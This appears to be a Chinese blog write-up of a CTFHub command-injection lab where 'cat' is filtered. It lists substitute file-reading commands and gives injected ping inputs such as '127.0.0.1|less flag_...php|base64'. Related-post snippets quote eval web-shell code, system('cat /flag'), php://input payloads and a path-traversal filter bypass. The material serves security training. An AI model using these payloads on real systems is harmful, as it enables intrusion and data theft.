CTFHUB-技能树-Web题-RCE（远程代码执行）-远程包含-命令注入-过滤cat

原创 已于 2024-07-17 09:46:39 修改 · 465 阅读 · 1 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#web安全

于 2024-07-17 09:45:19 首次发布

CTFHUB-技能树-Web题-RCE（远程代码执行）-远程包含-命令注入-过滤cat

过滤cat

就是找个能代替的

cat 由第一行开始显示内容，并将所有内容输出
tac 从最后一行倒序显示内容，并将所有内容输出
more 根据窗口大小，一页一页的现实文件内容
less 和more类似，但其优点可以往前翻页，而且进行可以搜索字符
head 只显示头几行
tail 只显示最后几行
nl 类似于cat -n，显示时输出行号
tailf 类似于tail -f
做题过程

和无过滤类似 仅仅替换了cat
就是用playload

127.0.0.1|ls
127.0.0.1|less xxxxxx.php

然后查看源码即可得到flag

127.0.0.1|ls

在这里插入图片描述

127.0.0.1|less flag_9480304858078.php

在这里插入图片描述

查看源代码

在这里插入图片描述

或者

127.0.0.1|less flag_9480304858078.php|base64

在这里插入图片描述

PD9waHAgLy8gY3RmaHViezYzYjE0OTVkZjI3ODIxYjcxOGQ0NGRjNn0K //对其进行base64解密即可

YjE0OTVkZjI3ODIxYjcxOGQ0NGRjNn0K //对其进行base64解密即可
CTFHub 技能树rce
weixin_63231007的博客
05-18 1455
前言 最近临近期末考试了，所以打算抽取时间来复习一下高数，线代，不然就要挂科了😭 后面难一些的地方后面再继续练习学习。但是学习也不能停搁，周六学校的战队也要进行纳新面试了，因此那就借CTFHub技能树，综合做一下刚开始学习时的一些基础漏洞，也算是回顾复习一下🐱‍👤 (1) eval执行 eval()函数 eval()函数中的eval是evaluate的简称，这个函数的作用就是把一段字符串当作PHP语句来执行 <?php if (isset($_REQUEST['cmd'...
CTFHub 命令注入-过滤cat
At0m的博客
01-14 3502
CTFHub 命令注入-过滤cat 第一还是看源码，首先是肯定是过滤了cat关键字，虽然看不太懂，但是才也是这样啊嘻嘻。 但是preg_match_all有三个参数，看一下，这三个参数分别是干什么的： <?php $userinfo = "Name: <b>PHP</b> <br> Title: <b>Programming Language</b>"; preg_match_all ("/<b>(.*)<\/b>/
CTFHub技能树.Web.RCE
qq_45716477的博客
05-09 300
目录题目0x01 eval执行0x02参考资料 题目 0x01 eval执行 启动环境后可以看到页面上已经给出了源代码。 <?php if (isset($_REQUEST['cmd'])) { eval($_REQUEST["cmd"]); } else { highlight_file(__FILE__); } ?> 在php中$_REQUEST可以获取以POST方法和GET方法提交的数据，在这里为了方便就使用GET方法向页面提交payload。 构造url/?cmd=sy
CTFHub 技能树-- RCE（详解）
m0_62879498的博客
02-20 8239
CTFHub – RCE RCE漏洞，可以让攻击者直接向后台服务器远程注入操作系统命令或者代码，从而控制后台系统 eval执行文件 查看一开始的源代码： <?php if(isset($_REQUEST['cmd'])){ eval($_REQUEST['cmd']); } else{ highlight_file(__FILE__); } ?> php函数意思是： 是否由变量cmd 如果有，就执行eval($_REQUEST['cmd
CTFHub RCE通关笔记5：文件包含 远程包含
最新发布
mooyuan的网络安全博客
09-27 1224
本文详细分析了CTFHub中RCE-文件包含关卡的利用方法。通过审计靶场PHP源码，发现开发者错误使用strpos()函数导致安全防护失效，允许包含flag开头的文件。文章介绍了两种攻击方法：1)利用php://input协议执行POST请求中的PHP代码；2)通过构造以flag开头的路径（如flag/../../../flag）绕过黑名单检查。实战演示了如何查看系统目录和读取flag文件内容。文章还指出正确的防护方法应使用strpos()===false进行严格比较，避免类型转换的安全风险。
CTFHub | 过滤cat
尼泊罗河伯的博客
06-18 928
在目标 IP 输入框中输入 IP 并点击 Ping 按钮， Ping 一下试试。页面正常回显。
CTFHub-技能树-web-RCE
yuqie的博客
06-14 747
RCE(Remote Code/Command Execute)为远程代码/命令执行的漏洞。攻击者可以直接在web页面向后台服务器远程注入操作系统命令或者代码，从而控制后台系统，这就是RCE漏洞。
CTFHUB-技能树-Web题-RCE（远程代码执行）-文件包含
Static______的博客
05-10 967
解释：假如在index.php中include了一个文件，那么不管这个文件后缀是什么 这个文件中的内容将会直接出现在index.php中。思路：只要我们把shell.txt的一句话木马内容传到index.php,就可以用蚁剑连接。是将ctfhub传的参数用php执行，题目的目的也是让我们执行shell木马那么我们就输入。那么这句代码的意思就是如果file中没有flag字符串就执行下面的。接着返回根目录，发现flag,接下来打开flag。用接着用蚁剑连接，寻找flag。在根目录下找到flag。
CTFHub | 远程包含
尼泊罗河伯的博客
06-13 3200
远程文件包含（Remote File Inclusion，简称RFI）是一种常见的安全漏洞，它可以允许攻击者远程执行恶意代码或获取敏感信息。攻击者可以通过利用应用程序中易受攻击的包含程序来引入远程文件，这些文件通常包含恶意代码或其他危险的操作。如果应用程序没有正确处理和验证用户输入，那么攻击者就可以通过注入恶意代码来利用这个漏洞。
ctfhub技能树web：RCE里的eval执行和命令注入
2302_81010533的博客
03-30 785
远程命令/代码执行漏洞，简称为RCE漏洞，可以直接向服务器后台远程注入操作系统的命令或者代码，从而拿到服务器后台的权限。首先执行ping命令，ping本机ip:127.0.0.1,再加上ls这个系统命令，连起来就是127.0.0.1;ls接着查看里面的文件，构造命令127.0.0.1;检查网页显示内容可以发现题目中直接给出了一段源代码，代码的大致意思是判断用户是否传了一个 cmd 参数，否则执行 else。检查目录列表发现关于flag的文件，检查内容发现flag。，查看可以访问的文件，发现一个。
CTFHUB-技能树-WEB通关
Alita_lxz的博客
11-11 7985
Web 题目来自ctfhub技能树web部分 Web前置技能 操作系统 数据库 HTTP协议 请求方式 HTTP 请求方法, HTTP/1.1协议中共定义了八种方法（也叫动作）来以不同方式操作指定的资源。 ​ 1.OPTIONS 　　返回服务器针对特定资源所支持的HTTP请求方法。也可以利用向Web服务器发送’*'的请求来测试服务器的功能性,如获取当前URL所支持的方法。若请求成功，则它会在HTTP头中包含一个名为“Allow”的头，值是所支持的方法，如“GET,POST”。 　2.HEAD 　　向服务
ctfhub--ctf--web--RCE（1.eval执行2.文件包含3.常见伪协议用法4.php://input5.远程包含6.读取源代）
feiniaotjx的博客
10-05 732
RCE1.eval执行2.文件包含3.php://input 1.eval执行 request接受post和get请求，接受cmd参数 使用远程系统命令遍历目录 查看文件 2.文件包含 需要传一个file参数，不能为flag，存在shell.txt,可连接shell，故可以访问?file=shell.txt 之后post提交ctfhub=system('cat /flag');查看flag 3.php://input ...
CTFHUB--RCE--文件包含
qq_75120258的博客
03-02 1248
有时候由于网站功能需求，会让前端用户选择要包含的文件，而开发人员又没有对要包含的文件进行安全考虑，就导致攻击者可以通过修改文件的位置来让后台执行任意文件，从而导致文件包含漏洞。当它与包含函数结合时，php://filter经常会被当作代码呗执行，所以我们通常会对他进行BASE64编码。file=php://filter/resource=/flag 得到flag。php:// — 访问各个输入/输出流（I/O streams）data://text/plain 任意代码执行。zlib:// — 压缩流。
CTFHub技能树 Web-RCE 详解
weixin_45808483的博客
11-13 2805
RCE简介： 初学RCE（远程命令/代码执行漏洞）https://blog.youkuaiyun.com/qq_43814486/article/details/90020139 eval执行 启动环境 分析代码，提示我们将命令赋值给cmd执行 我们先查看当前位置的文件，没有什么用 /?cmd=system("ls"); 我们查看根目录文件，发现一个 flag_8999 文件 /?cmd=system("ls /"); 我们先尝试使用cat 命令查看 flag_8999文件 /..
ctfhub--技能树rce
lulu001128的博客
02-28 1172
解题思路
ctfhub-远程包含
m0_65766842的博客
03-02 264
1
ctfhub 远程包含
qq_52671379的博客
06-14 603
远程包含 题目 php://input php://input 是个可以访问请求的原始数据的只读流。 POST 请求的情况下，最好使用 php://input 来代替 $HTTP_RAW_POST_DATA，因为它不依赖于特定的 php.ini 指令。 而且，这样的情况下 $HTTP_RAW_POST_DATA 默认没有填充， 比激活 always_populate_raw_post_data 潜在需要更少的内存。 enctype=“multipart/form-data” 的时候 php://input
CTFHUB 远程包含
nai_kai的博客
06-19 5419
CTFHUB 远程包含 ctfhub RCE 远程包含 write up 题目信息: “我没有shell，你怎么取flag？” 打开便是一个phpinfo() 用file包含phpinfo是有回显的，所以构造payload ： xxx:10080/?file=php://input post <?php system('ls');?> #if (!strpos($_GET["file"], "flag")) #过滤了get方式 ctfhub{34f653c72f8b095914
CTFHUB----web前置技能-rce
01-01
### CTFHUB Web 前置技能 RCE 挑战及解题思路 #### 远程命令执行简介 远程命令执行（Remote Command Execution, RCE），是指攻击者能够通过应用程序接口发送特定指令，在服务器端执行任意操作系统级别的命令。这种...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

python炒粉

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值